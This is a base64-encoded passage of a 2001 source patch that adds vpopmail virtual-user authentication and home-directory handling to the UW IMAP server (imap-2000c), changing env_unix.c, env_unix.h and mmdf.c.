dXNyKSkpKSAmJgorCSAgICAgKGNoZWNrcHcgKHB3LHB3ZCxhcmdjLGFyZ3Yp IHx8CisgICAgICAgICAgICAgICgoKnB3ZCA9PSAnICcpICYmIGNoZWNrcHcg KGdldHB3bmFtIChhdXNyKSxwd2QrMSxhcmdjLGFyZ3YpKSkgJiYKKyAgICAg ICAgICAgICAoKHB3ID0gZ2V0cHduYW0gKHN0cmNweSAodXNyLHVzZXIpKSkg fHwKKwkgICAgICAocHcgPSBnZXRwd25hbSAobGNhc2UgKHVzcikpKSkpIDoK KwkgICAgKCgocHcgPSBnZXRwd25hbSAoc3RyY3B5IChhdXNyLHVzZXIpKSkg fHwKKwkgICAgICAocHcgPSBnZXRwd25hbSAobGNhc2UgKGF1c3IpKSkpICYm CisJICAgICAoKHB3ID0gY2hlY2twdyAocHcscHdkLGFyZ2MsYXJndikpIHx8 CisJICAgICAgKCgqcHdkID09ICcgJykgJiYKKwkgICAgICAgKHB3ID0gY2hl Y2twdyAoZ2V0cHduYW0oYXVzcikscHdkKzEsYXJnYyxhcmd2KSkpKSkpCisg ICAgICAgICAgbG9ncHcgPSBwdzsKKworICAgICAgICBpZiAobG9ndHJ5IDw9 IDApCQkvKiBleGNlc3NpdmUgbG9naW4gZmFpbHVyZXMgKi8KKyAgICAgICAg ICBzeXNsb2cgKExPR19OT1RJQ0V8TE9HX0FVVEgsCisJICAgICAgICAgICJM b2dpbiBhdHRlbXB0IGFmdGVyIGxvY2tvdXQgdXNlcj0lLjgwcyBob3N0PSUu ODBzIiwKKwkgICAgICAgICAgdXNlcix0Y3BfY2xpZW50aG9zdCAoKSk7Cisg ICAgICAgIGVsc2UgaWYgKCFsb2dwdykJCS8qIGxvZ2luIGZhaWxlZCAqLwor ICAgICAgICAgIHN5c2xvZyAoTE9HX05PVElDRXxMT0dfQVVUSCwiJXMgdXNl cj0lLjgwcyBob3N0PSUuODBzIiwKKwkgICAgICAgICAgKGxvZ3RyeS0tID4g MCkgPyAiTG9naW4gZmFpbHVyZSIgOiAiRXhjZXNzaXZlIGxvZ2luIGF0dGVt cHRzIiwKKwkgICAgICAgICAgdXNlcix0Y3BfY2xpZW50aG9zdCAoKSk7CiAj aWZuZGVmIFBMQUlOVEVYVF9ESVNBQkxFRAogCQkJCS8qIHZhbGlkYXRlIHdp dGggYXV0aGVudGljYXRpb24gSUQgKi8KLSAgICBlbHNlIGlmIChwd19sb2dp biAocHcsYXVzcixwdy0+cHdfbmFtZSxwdy0+cHdfZGlyLGFyZ2MsYXJndikp IHJldHVybiBUOworICAgICAgICBlbHNlIGlmIChwd19sb2dpbiAocHcsYXVz cixwdy0+cHdfbmFtZSxwdy0+cHdfZGlyLGFyZ2MsYXJndikpIHJldHVybiBU OwogI2VuZGlmCisKKyNpZmRlZiBWUE9QCQorICAgICAgfQorICAgICAgLyog ZnJlZSB2cG9wIGRhdGEgKi8KKyAgICAgIHZwb3BfX2ZyZWVkYXRhKHZwb3Ap OworI2VuZGlmICAgICAKKyAgICAgIHNsZWVwICgzKTsJCQkvKiBzbG93IGRv d24gcG9zc2libGUgY3JhY2tlciAqLworICAgICAgcmV0dXJuIE5JTDsKKyNp ZmRlZiBWUE9QICAgICAgCisgICAgfQorI2VuZGlmICAgIAogICB9Ci0gIHNs ZWVwICgzKTsJCQkvKiBzbG93IGRvd24gcG9zc2libGUgY3JhY2tlciAqLwot ICByZXR1cm4gTklMOwogfQotDAotLyogQXV0aGVudGljYXRlZCBzZXJ2ZXIg bG9nIGluCisKKy8qIEF1dGhlbnRpY2F0ZWQgc2VydmVyIGxvZyBpbiAtLSBs b2dpbnMgd2hpY2ggYXJlIGFscmVhZHkgYXV0aGVudGljYXRlZCBieSBzb21l IG90aGVyIGNvZGUKICAqIEFjY2VwdHM6IHVzZXIgbmFtZSBzdHJpbmcKICAq CSAgICBhdXRoZW50aWNhdGluZyB1c2VyIG5hbWUgc3RyaW5nCiAgKgkgICAg YXJndW1lbnQgY291bnQKQEAgLTU4NCw5ICs2MzIsMTkgQEAKICAgc3RydWN0 IHBhc3N3ZCAqcHc7CiAgIHN0cnVjdCBzdGF0IHNidWY7CiAgIGNoYXIgdG1w W01BSUxUTVBMRU5dOworI2lmZGVmIFZQT1AKKyAgc2hvcnQgdnBvcF9ob21l X2ZsYWcgPSAwOworICBEUklWRVIgKmQ7ICAgIAorI2VuZGlmCiAgIGlmICht eVVzZXJOYW1lKSBmYXRhbCAoImVudl9pbml0IGNhbGxlZCB0d2ljZSEiKTsK IAkJCQkvKiBteVVzZXJOYW1lIG11c3QgYmUgc2V0IGJlZm9yZSBkb3JjKCkg Y2FsbCAqLworI2lmZGVmIFZQT1AgIAorICBteVVzZXJOYW1lX3VuaXggPSBj cHlzdHIgKHVzZXIgPyB1c2VyIDogKGNoYXIgKikgYW5vbnltb3VzX3VzZXIp OworICBteVVzZXJOYW1lID0gdnBvcF91c2VybmFtZSA/IGNweXN0cih2cG9w X3VzZXJuYW1lKSA6IG15VXNlck5hbWVfdW5peDsKKyNlbHNlCiAgIG15VXNl ck5hbWUgPSBjcHlzdHIgKHVzZXIgPyB1c2VyIDogKGNoYXIgKikgYW5vbnlt b3VzX3VzZXIpOworI2VuZGlmCisgICAKICAgaWYgKGNsb3NlZEJveCkgewkJ LyogY2xvc2VkIGJveCBzZXJ2ZXIgKi8KIAkJCQkvKiBzdGFuZGFyZCB1c2Vy IGNhbiBvbmx5IHJlZmVyZW5jZSBob21lICovCiAgICAgaWYgKHVzZXIpIG5z bGlzdFswXSA9ICZuc2hvbWU7CkBAIC02MDUsMTkgKzY2MywyOSBAQAogICAg IGRvcmMgKCIvZXRjL2MtY2xpZW50LmNmIixOSUwpOwogICAgIGlmICghYW5v bnltb3VzSG9tZSkgYW5vbnltb3VzSG9tZSA9IGNweXN0ciAoQU5PTllNT1VT SE9NRSk7CiAgICAgaWYgKHVzZXIpIHsJCQkvKiByZW1lbWJlciB1c2VyIG5h bWUgYW5kIGhvbWUgZGlyZWN0b3J5ICovCi0gICAgICBpZiAoYmxhY2tCb3hE aXIpIHsJLyogYnVpbGQgYmxhY2sgYm94IGRpcmVjdG9yeSBuYW1lICovCi0J c3ByaW50ZiAodG1wLCIlcy8lcyIsYmxhY2tCb3hEaXIsbXlVc2VyTmFtZSk7 Ci0JCQkJLyogaWYgYmxhY2sgYm94IGlmIGV4aXN0cyBhbmQgZGlyZWN0b3J5 ICovCi0JaWYgKGhvbWUgPSAoIXN0YXQgKHRtcCwmc2J1ZikgJiYgKHNidWYu c3RfbW9kZSAmIFNfSUZESVIpKSA/Ci0JICAgIHRtcCA6IGJsYWNrQm94RGVm YXVsdEhvbWUpIHsKLQkgIHN5c0luYm94ID0gKGNoYXIgKikgZnNfZ2V0IChz dHJsZW4gKGhvbWUpICsgNyk7Ci0JCQkJLyogc2V0IHN5c3RlbSBJTkJPWCAq LwotCSAgc3ByaW50ZiAoc3lzSW5ib3gsIiVzL0lOQk9YIixob21lKTsKLQkg IGJsYWNrQm94ID0gVDsJCS8qIG1hcmsgdGhhdCBpdCdzIGEgYmxhY2sgYm94 ICovCi0JCQkJLyogbWJveCBtZWFuaW5nbGVzcyBpZiBibGFjayBib3ggKi8K LQkgIG1haWxfcGFyYW1ldGVycyAoTklMLERJU0FCTEVfRFJJVkVSLCh2b2lk ICopICJtYm94Iik7Ci0JfQorI2lmZGVmIFZQT1AJICAgIAorICAgICAgaWYg KHZwb3BfYmxhY2tCb3hIb21lKSB7CisgICAgICAgICBteUhvbWVEaXIgPSBj cHlzdHIodnBvcF9ibGFja0JveEhvbWUpOworICAgICAgICAgc3ByaW50Zih0 bXAsIiVzL0lOQk9YIixteUhvbWVEaXIpOworICAgICAgICAgc3lzSW5ib3gg PSBjcHlzdHIodG1wKTsKKyAgICAgICAgIGJsYWNrQm94ID0gVDsKICAgICAg IH0KKyAgICAgIGVsc2UKKyNlbmRpZgkgICAgICAKKyAgICAgICAgaWYgKGJs YWNrQm94RGlyKSB7CS8qIGJ1aWxkIGJsYWNrIGJveCBkaXJlY3RvcnkgbmFt ZSAqLworICAgCSAgc3ByaW50ZiAodG1wLCIlcy8lcyIsYmxhY2tCb3hEaXIs bXlVc2VyTmFtZSk7CisJIAkJCS8qIGlmIGJsYWNrIGJveCBpZiBleGlzdHMg YW5kIGRpcmVjdG9yeSAqLworCSAgaWYgKGhvbWUgPSAoIXN0YXQgKHRtcCwm c2J1ZikgJiYgKHNidWYuc3RfbW9kZSAmIFNfSUZESVIpKSA/CisJICAgICAg dG1wIDogYmxhY2tCb3hEZWZhdWx0SG9tZSkgeworCSAgICBzeXNJbmJveCA9 IChjaGFyICopIGZzX2dldCAoc3RybGVuIChob21lKSArIDcpOworCSAgCQkJ Lyogc2V0IHN5c3RlbSBJTkJPWCAqLworCSAgICBzcHJpbnRmIChzeXNJbmJv eCwiJXMvSU5CT1giLGhvbWUpOworCSAgICBibGFja0JveCA9IFQ7CQkvKiBt YXJrIHRoYXQgaXQncyBhIGJsYWNrIGJveCAqLworCSAgICAJCQkJLyogbWJv eCBtZWFuaW5nbGVzcyBpZiBibGFjayBib3ggKi8KKwkgICAgbWFpbF9wYXJh bWV0ZXJzIChOSUwsRElTQUJMRV9EUklWRVIsKHZvaWQgKikgIm1ib3giKTsK KwkgIH0KKwl9CisgICAgICAKICAgICAgIGlmIChibGFja0JveCkJCS8qIGJs YWNrIGJveD8gKi8KIAluc2xpc3RbMF0gPSAmbnNob21lLG5zbGlzdFsxXSA9 ICZuc2JsYWNrb3RoZXIsbnNsaXN0WzJdID0gJm5zc2hhcmVkOwogICAgICAg ZWxzZSB7CQkJLyogbm90IGEgYmxhY2sgYm94ICovCkBAIC02MjksNyArNjk3 LDE1IEBACiAjZWxzZQogCW5zbGlzdFsyXSA9ICZuc3NoYXJlZDsJLyogd2hh dCwgbWUgcGFyYW5vaWQ/ICovCiAjZW5kaWYKLQkJCQkvKiBtYWtlIHN1cmUg dXNlciByYyBmaWxlcyBkb24ndCB0cnkgdGhpcyAqLworCisjaWZkZWYgVlBP UAkKKyAgICAgICAgc3ByaW50Zih0bXAsICIlcy9NYWlsIiwgaG9tZSk7Cisg ICAgICAgIGlmIChzdGF0KHRtcCwmc2J1ZikpCisgICAgICAgICAgbWtkaXIo dG1wLCBkaXJfcHJvdGVjdGlvbik7CisgICAgICAgIG15SG9tZURpciA9IGNw eXN0ciAoICghc3RhdCAodG1wLCZzYnVmKSAmJiAoc2J1Zi5zdF9tb2RlICYg U19JRkRJUikpID8gdG1wIDogaG9tZSApOworCXZwb3BfaG9tZV9mbGFnID0g MTsKKwkJCQkvKiBtYWtlIHN1cmUgdXNlciByYyBmaWxlcyBkb24ndCB0cnkg dGhpcyAqLwkKKyNlbmRpZgkKIAlibGFja0JveERpciA9IGJsYWNrQm94RGVm YXVsdEhvbWUgPSAiIjsKICAgICAgIH0KICAgICB9CkBAIC02NDIsOSArNzE4 LDEzIEBACiAgICAgICBpZiAoIWJsYWNrQm94RGlyKSBibGFja0JveERpciA9 IGJsYWNrQm94RGVmYXVsdEhvbWUgPSBhbm9ueW1vdXNIb21lOwogICAgIH0K ICAgfQotDAotCQkJCS8qIHVzZSByZWFsIGhvbWUgZGlyZWN0b3J5ICovCi0g IG15SG9tZURpciA9IGNweXN0ciAoaG9tZSA/IGhvbWUgOiBBTk9OWU1PVVNI T01FKTsKKworICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiB1 c2UgcmVhbCBob21lIGRpcmVjdG9yeSAqLworI2lmZGVmIFZQT1AgIAorICBp ZiAoISB2cG9wX2hvbWVfZmxhZykgLyogbWFrZXMgc3VyZSB2cG9wIGhhc24n dCBkb25lIGl0IGJlZm9yZSAqLworI2VuZGlmCSAgCisgICAgbXlIb21lRGly ID0gY3B5c3RyIChob21lID8gaG9tZSA6IEFOT05ZTU9VU0hPTUUpOworCiAg IGRvcmMgKHN0cmNhdCAoc3RyY3B5ICh0bXAsbXlIb21lRGlyKSwiLy5tbWlu aXQiKSxUKTsKICAgZG9yYyAoc3RyY2F0IChzdHJjcHkgKHRtcCxteUhvbWVE aXIpLCIvLmltYXByYyIpLE5JTCk7CiAjaWZuZGVmIERJU0FCTEVfQVVUT01B VElDX1NIQVJFRF9OQU1FU1BBQ0VTCkBAIC02NjQsNyArNzQ0LDE2IEBACiAg IGlmICghbmV3c0FjdGl2ZSkgbmV3c0FjdGl2ZSA9IGNweXN0ciAoQUNUSVZF RklMRSk7CiAgIGlmICghbmV3c1Nwb29sKSBuZXdzU3Bvb2wgPSBjcHlzdHIg KE5FV1NTUE9PTCk7CiAJCQkJLyogZm9yY2UgZGVmYXVsdCBwcm90b3R5cGUg dG8gYmUgc2V0ICovCisjaWZkZWYgVlBPUAorICAvKiB0aGlzIGhhcmQtd2ly ZXMgaW4gYSBjcmVhdGVQcm90byBvZiB0aGUgSU5CT1ggZm9ybWF0ICovCisg IGlmICghY3JlYXRlUHJvdG8pCisgICAgY3JlYXRlUHJvdG8gPSAoKGQgPSBt YWlsX3ZhbGlkIChOSUwsIklOQk9YIixOSUwpKSAmJgorICAgICAgICAgICAg ICAgICAgICAgc3RyY21wIChkLT5uYW1lLCJkdW1teSIpKSA/CisgICAgICAg ICAgICAgICAgICAgICAgICgoKmQtPm9wZW4pIChOSUwpKSA6ICZDUkVBVEVQ Uk9UTzsKKyNlbHNlCiAgIGlmICghY3JlYXRlUHJvdG8pIGNyZWF0ZVByb3Rv ID0gJkNSRUFURVBST1RPOworI2VuZGlmCisgIAogICBpZiAoIWFwcGVuZFBy b3RvKSBhcHBlbmRQcm90byA9ICZFTVBUWVBST1RPOwogCQkJCS8qIHJlLWRv IG9wZW4gYWN0aW9uIHRvIGdldCBmbGFncyAqLwogICAoKmNyZWF0ZVByb3Rv LT5kdGItPm9wZW4pIChOSUwpOwpAQCAtNjc5LDYgKzc2OCw5IEBACiAKIGNo YXIgKm15dXNlcm5hbWVfZnVsbCAodW5zaWduZWQgbG9uZyAqZmxhZ3MpCiB7 CisjaWZkZWYgVlBPUAkKKyAgcmV0dXJuIG15dXNlcm5hbWVfZnVsbF9iYWNr ZW5kKGZsYWdzLCBOSUwsIE5JTCk7CisjZWxzZQogICBjaGFyICpyZXQgPSAo Y2hhciAqKSB1bmxvZ2dlZF91c2VyOwogICBpZiAoIW15VXNlck5hbWUpIHsJ CS8qIGdldCB1c2VyIG5hbWUgaWYgZG9uJ3QgaGF2ZSBpdCB5ZXQgKi8KICAg ICBzdHJ1Y3QgcGFzc3dkICpwdzsKQEAgLTY5MCwxMiArNzgyLDExMyBAQAog CSAgIChwdy0+cHdfdWlkID09IGV1aWQpKSB8fCAocHcgPSBnZXRwd3VpZCAo ZXVpZCkpKSkKICAgICAgIGZhdGFsICgiVW5hYmxlIHRvIGxvb2sgdXAgdXNl ciBuYW1lIik7CiAJCQkJLyogaW5pdCBlbnZpcm9ubWVudCBpZiBub3Qgcm9v dCAqLwotICAgIGlmIChldWlkKSBlbnZfaW5pdCAocHctPnB3X25hbWUsKChz ID0gZ2V0ZW52ICgiSE9NRSIpKSAmJiAqcyAmJgotCQkJCSAgICAgKHN0cmxl biAocykgPCBORVRNQVhNQlgpICYmCi0JCQkJICAgICAhc3RhdCAocywmc2J1 ZikgJiYKLQkJCQkgICAgICgoc2J1Zi5zdF9tb2RlICYgU19JRk1UKSA9PSBT X0lGRElSKSkgPwotCQkJcyA6IHB3LT5wd19kaXIpOwotICAgIGVsc2UgcmV0 ID0gcHctPnB3X25hbWU7CS8qIGluIGNhc2UgVUlEIDAgdXNlciBpcyBvdGhl ciB0aGFuIHJvb3QgKi8KKyAgICAgIGlmIChldWlkKSBlbnZfaW5pdCAocHct PnB3X25hbWUsKChzID0gZ2V0ZW52ICgiSE9NRSIpKSAmJiAqcyAmJgorICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHN0cmxlbiAo cykgPCBORVRNQVhNQlgpICYmCisgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAhc3RhdCAocywmc2J1ZikgJiYKKyAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICgoc2J1Zi5zdF9tb2RlICYg U19JRk1UKSA9PSBTX0lGRElSKSkgPworICAgICAgICAgICAgICAgICAgICAg ICAgICBzIDogcHctPnB3X2Rpcik7CisgICAgICBlbHNlIHJldCA9IHB3LT5w d19uYW1lOyAgICAgLyogaW4gY2FzZSBVSUQgMCB1c2VyIGlzIG90aGVyIHRo YW4gcm9vdCAqLwkKKyAgfQorICBpZiAobXlVc2VyTmFtZSkgewkJLyogbG9n Z2VkIGluPyAqLworICAgIGlmIChmbGFncykgKmZsYWdzID0gYW5vbnltb3Vz ID8gTVVfQU5PTllNT1VTIDogTVVfTE9HR0VESU47CisgICAgcmV0ID0gbXlV c2VyTmFtZTsJCS8qIHJldHVybiB1c2VyIG5hbWUgKi8KKyAgfQorICBlbHNl IGlmIChmbGFncykgKmZsYWdzID0gTVVfTk9UTE9HR0VESU47CisgIHJldHVy biByZXQ7CisKKyNlbmRpZgorfQorCisjaWZkZWYgVlBPUAorLyogUmV0dXJu IG15IHVzZXIgbmFtZSwgc2V0dGluZyB1c2VybmFtZSBpZiBub3Qgc2V0Cisg KiBBY2NlcHRzOiB1c2VybmFtZSB0byBsb2cgaW4gYXMgaWYgbm8gdXNlciBp cyBjdXJyZW50bHkgbG9nZ2VkIGluCisgKiBSZXR1cm5zOiBteSB1c2VyIG5h bWUKKyAqLworCitjaGFyICpteXVzZXJuYW1lX2RvbG9naW4gKGNoYXIqIHVz ZXIsIGNoYXIqKiBlcnJvcikKK3sKKyAgcmV0dXJuIG15dXNlcm5hbWVfZnVs bF9iYWNrZW5kKE5JTCwgdXNlciwgZXJyb3IpOworfQorCisvKgorICogbXl1 c2VybmFtZV9mdWxsX2JhY2tlbmQgLS0gYmFja2VuZCBmb3IgbXl1c2VybmFt ZV9mdWxsIGFuZCBteXVzZXJuYW1lX2xvZ2luCisgKi8KKworY2hhciAqbXl1 c2VybmFtZV9mdWxsX2JhY2tlbmQgKHVuc2lnbmVkIGxvbmcgKmZsYWdzLCBj aGFyKiBuZXdfdXNlcm5hbWUsIGNoYXIqKiBlcnJvcikKK3sKKyAgY2hhciAq cmV0ID0gKGNoYXIgKikgdW5sb2dnZWRfdXNlcjsKKyAgaWYgKCFteVVzZXJO YW1lKSB7CQkvKiBnZXQgdXNlciBuYW1lIGlmIGRvbid0IGhhdmUgaXQgeWV0 ICovCisgICAgc3RydWN0IHBhc3N3ZCAqcHc7CisgICAgc3RydWN0IHN0YXQg c2J1ZjsgIAorICAgIHVuc2lnbmVkIGxvbmcgZXVpZDsKKyAgICBjaGFyICpz OworICAgIGludCBjaGVja191bml4X2F1dGggPSAxOworCisgICAgLyogdHJ5 IHRvIGdyYWIgbmV3X3VzZXJuYW1lIGZyb20gdGhlIGVudiBpZiBub3QgcHJv dmlkZWQgKi8KKyAgICBpZiAoIW5ld191c2VybmFtZSkgbmV3X3VzZXJuYW1l ID0gZ2V0ZW52KCJDQ0xJRU5UX1VTRVJOQU1FIik7CisKKyAgICAvKiBsb29r IHVwIGdldGxvZ2luKCkgdXNlciBuYW1lIG9yIEVVSUQgKi8KKyAgICBldWlk ID0gZ2V0ZXVpZCAoKTsKKyAgICBzID0gKGNoYXIgKikgZ2V0bG9naW4gKCk7 CisgICAgaWYgKCEoCisgICAgICAoIHMgJiYgKnMgJiYgKHB3PWdldHB3bmFt KHMpKSAmJiAocHctPnB3X3VpZD09ZXVpZCkgKSB8fAorICAgICAgKCAocHc9 Z2V0cHd1aWQoZXVpZCkpICYmIChzPXB3LT5wd19uYW1lKSApCisgICAgKSkK KyAgICAgIGZhdGFsICgiVW5hYmxlIHRvIGxvb2sgdXAgdXNlciBuYW1lIik7 CisKKyAgICAvKiBpZiB3ZSBoYXZlIG5ld191c2VybmFtZSwgdHJ5IHRvIGNo ZWNrIHRoYXQgd2l0aCB2cG9wICovCisgICAgaWYgKCBuZXdfdXNlcm5hbWUg JiYgKm5ld191c2VybmFtZSApIHsKKyAgICAgIHZwb3BfX2RhdGEqIHZwb3A7 CisgICAgICB2cG9wID0gdnBvcF9fdXNlcmF1dGhlbihuZXdfdXNlcm5hbWUs IE5VTEwsIHMpOworCisgICAgICBpZiAoIHZwb3AtPmxvZ19lcnJvciApCisg ICAgICAgIHN5c2xvZyAoTE9HX0lORk8sIlZwb3AgYXV0aCBlcnJvciB1c2Vy PSUuODBzOiAlcyIsIHMsIHZwb3AtPmxvZ19lcnJvcik7CisKKyAgICAgIGlm ICggdnBvcC0+dW5peF91c2VybmFtZSAmJiBzdHJjbXAodnBvcC0+dW5peF91 c2VybmFtZSwgcykgKSB7CisgICAgICAgIGlmICghZXJyb3IpIGZhdGFsKCJ1 c2VybmFtZSBlcnJvcjogdnBvcCB1bml4X3VzZXJuYW1lIGRpZmZlcnMgd2l0 aCByZWFsIHVuaXhfdXNlcm5hbWUiKTsKKyAgICAgICAgKmVycm9yID0gInVz ZXJuYW1lIGVycm9yOiB2cG9wIHVuaXhfdXNlcm5hbWUgZGlmZmVycyB3aXRo IHJlYWwgdW5peF91c2VybmFtZSI7CisgICAgICAgIHZwb3BfX2ZyZWVkYXRh KHZwb3ApOworICAgICAgICByZXR1cm4gIiI7CisgICAgICB9CisKKyAgICAg IGlmICggdnBvcC0+dmFsaWRfdXNlciApIHsKKyAgICAgICAgdnBvcF92aXJ0 dWFsVXNlcm5hbWUgPSBjcHlzdHIodnBvcC0+dmlydHVhbF91c2VybmFtZSk7 CisgICAgICAgIHZwb3BfYmxhY2tCb3hIb21lID0gY3B5c3RyKHZwb3AtPmJs YWNrX2JveF9ob21lKTsKKyAgICAgICAgdnBvcF91c2VybmFtZSA9IGNweXN0 cihuZXdfdXNlcm5hbWUpOworICAgICAgICBlbnZfaW5pdChwdy0+cHdfbmFt ZSxwdy0+cHdfZGlyKTsKKyAgICAgICAgY2hlY2tfdW5peF9hdXRoID0gMDsK KyAgICAgIH0KKyAgICAgIGVsc2UgaWYgKCB2cG9wLT52YWxpZF9mb3JtICkg eworICAgICAgICBpZiAoIWVycm9yKSBmYXRhbCgidXNlcm5hbWUgZXJyb3I6 IGludmFpZCB2cG9wIHVzZXJuYW1lIik7CisgICAgICAgICplcnJvciA9ICJ1 c2VybmFtZSBlcnJvcjogaW52YWlkIHZwb3AgdXNlcm5hbWUiOworICAgICAg ICB2cG9wX19mcmVlZGF0YSh2cG9wKTsKKyAgICAgICAgcmV0dXJuICIiOwor ICAgICAgfQorICAgICAgCisgICAgICBlbHNlIGlmICggKCEgdnBvcC0+dmFs aWRfZm9ybSkgJiYgKHZwb3AtPnRyYW5zbGF0ZWRfdXNlcikgKQorCW5ld191 c2VybmFtZSA9IGNweXN0cih2cG9wLT50cmFuc2xhdGVkX3VzZXIpOworICAg ICAgCisgICAgICBlbHNlIAorICAgICAgICBpZiAoIHN0cmNtcChuZXdfdXNl cm5hbWUscykgKSB7CisgICAgICAgICAgaWYgKCFlcnJvcikgZmF0YWwoInVz ZXJuYW1lIGVycm9yOiBuZXdfdXNlcm5hbWUgaXMgbm90IHZwb3Agb3IgdW5p eF91c2VybmFtZSIpOworICAgICAgICAgICplcnJvciA9ICJ1c2VybmFtZSBl cnJvcjogbmV3X3VzZXJuYW1lIGlzIG5vdCB2cG9wIG9yIHVuaXhfdXNlcm5h bWUiOworICAgICAgICAgIHZwb3BfX2ZyZWVkYXRhKHZwb3ApOworICAgICAg ICAgIHJldHVybiAiIjsKKyAgICAgICAgfSAgICAgIAorICAgICAgCisgICAg ICB2cG9wX19mcmVlZGF0YSh2cG9wKTsKKyAgICB9CisKKyAgICAvKiBqdXN0 IGxvZyBpbiB0aGUgZGVmYXVsdCB1bml4IHVzZXIgKi8KKyAgICBpZiAoIGNo ZWNrX3VuaXhfYXV0aCApIHsgICAKKwkJCQkvKiBpbml0IGVudmlyb25tZW50 IGlmIG5vdCByb290ICovCisgICAgICBpZiAoZXVpZCkgZW52X2luaXQgKHB3 LT5wd19uYW1lLCgocyA9IGdldGVudiAoIkhPTUUiKSkgJiYgKnMgJiYKKyAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChzdHJsZW4g KHMpIDwgTkVUTUFYTUJYKSAmJgorICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIXN0YXQgKHMsJnNidWYpICYmCisgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoKHNidWYuc3RfbW9kZSAm IFNfSUZNVCkgPT0gU19JRkRJUikpID8KKyAgICAgICAgICAgICAgICAgICAg ICAgICAgcyA6IHB3LT5wd19kaXIpOworICAgICAgZWxzZSByZXQgPSBwdy0+ cHdfbmFtZTsgICAgIC8qIGluIGNhc2UgVUlEIDAgdXNlciBpcyBvdGhlciB0 aGFuIHJvb3QgKi8JCisgICAgfQogICB9CiAgIGlmIChteVVzZXJOYW1lKSB7 CQkvKiBsb2dnZWQgaW4/ICovCiAgICAgaWYgKGZsYWdzKSAqZmxhZ3MgPSBh bm9ueW1vdXMgPyBNVV9BTk9OWU1PVVMgOiBNVV9MT0dHRURJTjsKQEAgLTcw NSw2ICs4OTgsMTcgQEAKICAgcmV0dXJuIHJldDsKIH0KIAorLyogUmV0dXJu cyB1c2VybmFtZQorICogUmV0dXJuczogdW5peCB1c2VyIG5hbWUKKyAqLwor CitjaGFyICpteXVzZXJuYW1lX3VuaXggKCkKK3sKKyAgbXl1c2VybmFtZV9m dWxsKE5JTCk7IAorICByZXR1cm4gbXlVc2VyTmFtZV91bml4ID8gbXlVc2Vy TmFtZV91bml4IDogIiI7CisJCQorfQorI2VuZGlmCiAKIC8qIFJldHVybiBt eSBsb2NhbCBob3N0IG5hbWUKICAqIFJldHVybnM6IG15IGxvY2FsIGhvc3Qg bmFtZQpkaWZmIC1OcnUgaW1hcC0yMDAwYy5vcmlnL3NyYy9vc2RlcC91bml4 L2Vudl91bml4LmggaW1hcC0yMDAwYy12cG9wLmNvbXBpbGUvc3JjL29zZGVw L3VuaXgvZW52X3VuaXguaAotLS0gaW1hcC0yMDAwYy5vcmlnL3NyYy9vc2Rl cC91bml4L2Vudl91bml4LmgJV2VkIERlYyAyMCAwMzozNDo1MSAyMDAwCisr KyBpbWFwLTIwMDBjLXZwb3AuY29tcGlsZS9zcmMvb3NkZXAvdW5peC9lbnZf dW5peC5oCU1vbiBKdWwgMTYgMTQ6MDQ6MzMgMjAwMQpAQCAtMzUsNiArMzUs MTEgQEAKIHZvaWQgcmZjODIyX2ZpeGVkX2RhdGUgKGNoYXIgKmRhdGUpOwog bG9uZyBlbnZfaW5pdCAoY2hhciAqdXNlcixjaGFyICpob21lKTsKIGNoYXIg Km15dXNlcm5hbWVfZnVsbCAodW5zaWduZWQgbG9uZyAqZmxhZ3MpOworI2lm ZGVmIFZQT1AKK2NoYXIgKm15dXNlcm5hbWVfZG9sb2dpbiAoY2hhciogdXNl ciwgY2hhcioqIGVycm9yKTsKK2NoYXIgKm15dXNlcm5hbWVfZnVsbF9iYWNr ZW5kICh1bnNpZ25lZCBsb25nICpmbGFncywgY2hhciogbmV3X3VzZXJuYW1l LCBjaGFyKiogZXJyb3IpOworY2hhciAqbXl1c2VybmFtZV91bml4ICgpOwor I2VuZGlmCiAjZGVmaW5lIE1VX0xPR0dFRElOIDAKICNkZWZpbmUgTVVfTk9U TE9HR0VESU4gMQogI2RlZmluZSBNVV9BTk9OWU1PVVMgMgpkaWZmIC1OcnUg aW1hcC0yMDAwYy5vcmlnL3NyYy9vc2RlcC91bml4L21tZGYuYyBpbWFwLTIw MDBjLXZwb3AuY29tcGlsZS9zcmMvb3NkZXAvdW5peC9tbWRmLmMKLS0tIGlt YXAtMjAwMGMub3JpZy9zcmMvb3NkZXAvdW5peC9tbWRmLmMJVHVlIEphbiAx NiAxOTo0MjoyOSAyMDAxCisrKyBpbWFwLTIwMDBjLXZwb3AuY29tcGlsZS9z cmMvb3NkZXAvdW5peC9tbWRmLmMJTW9uIEp1bCAxNiAxNToyNzozNyAyMDAx CkBAIC05MjgsNyArOTI4LDEzIEBACiAgIGxvbmcgZiA9IG1haWxfcGFyc2Vf ZmxhZ3MgKHN0cmVhbSxmbGFncywmdWYpOwogCQkJCS8qIGJ1aWxkIGluaXRp YWwgaGVhZGVyICovCiAgIGlmICgoZnByaW50ZiAoc2YsIiVzRnJvbSAlc0Al cyAlc1N0YXR1czogIiwKLQkJbW1kZmhkcixteXVzZXJuYW1lICgpLG15bG9j YWxob3N0ICgpLGRhdGUpIDwgMCkgfHwKKwkJbW1kZmhkciwKKyNpZmRlZiBW UE9QCisJCW15dXNlcm5hbWVfdW5peCgpLAorI2Vsc2UKKwkJbXl1c2VybmFt ZSAoKSwKKyNlbmRpZgorCQlteWxvY2FsaG9zdCAoKSxkYXRlKSA8IDApIHx8 CiAgICAgICAoZiZmU0VFTiAmJiAocHV0YyAoJ1InLHNmKSA9PSBFT0YpKSB8 fAogICAgICAgKGZwdXRzICgiXG5YLVN0YXR1czogIixzZikgPT0gRU9GKSB8 fAogICAgICAgKGYmZkRFTEVURUQgJiYgKHB1dGMgKCdEJyxzZikgPT0gRU9G KSkgfHwKZGlmZiAtTnJ1IGltYXAtMjAwMGMub3JpZy9zcmMvb3NkZXAvdW5p eC90Y3BfdW5peC5jIGltYXAtMjAwMGMtdnBvcC5jb21waWxlL3NyYy9vc2Rl cC91bml4L3RjcF91bml4LmMKLS0tIGltYXAtMjAwMGMub3JpZy9zcmMvb3Nk ZXAvdW5peC90Y3BfdW5peC5jCVdlZCBOb3YgIDggMTU6Mjg6MDIgMjAwMAor 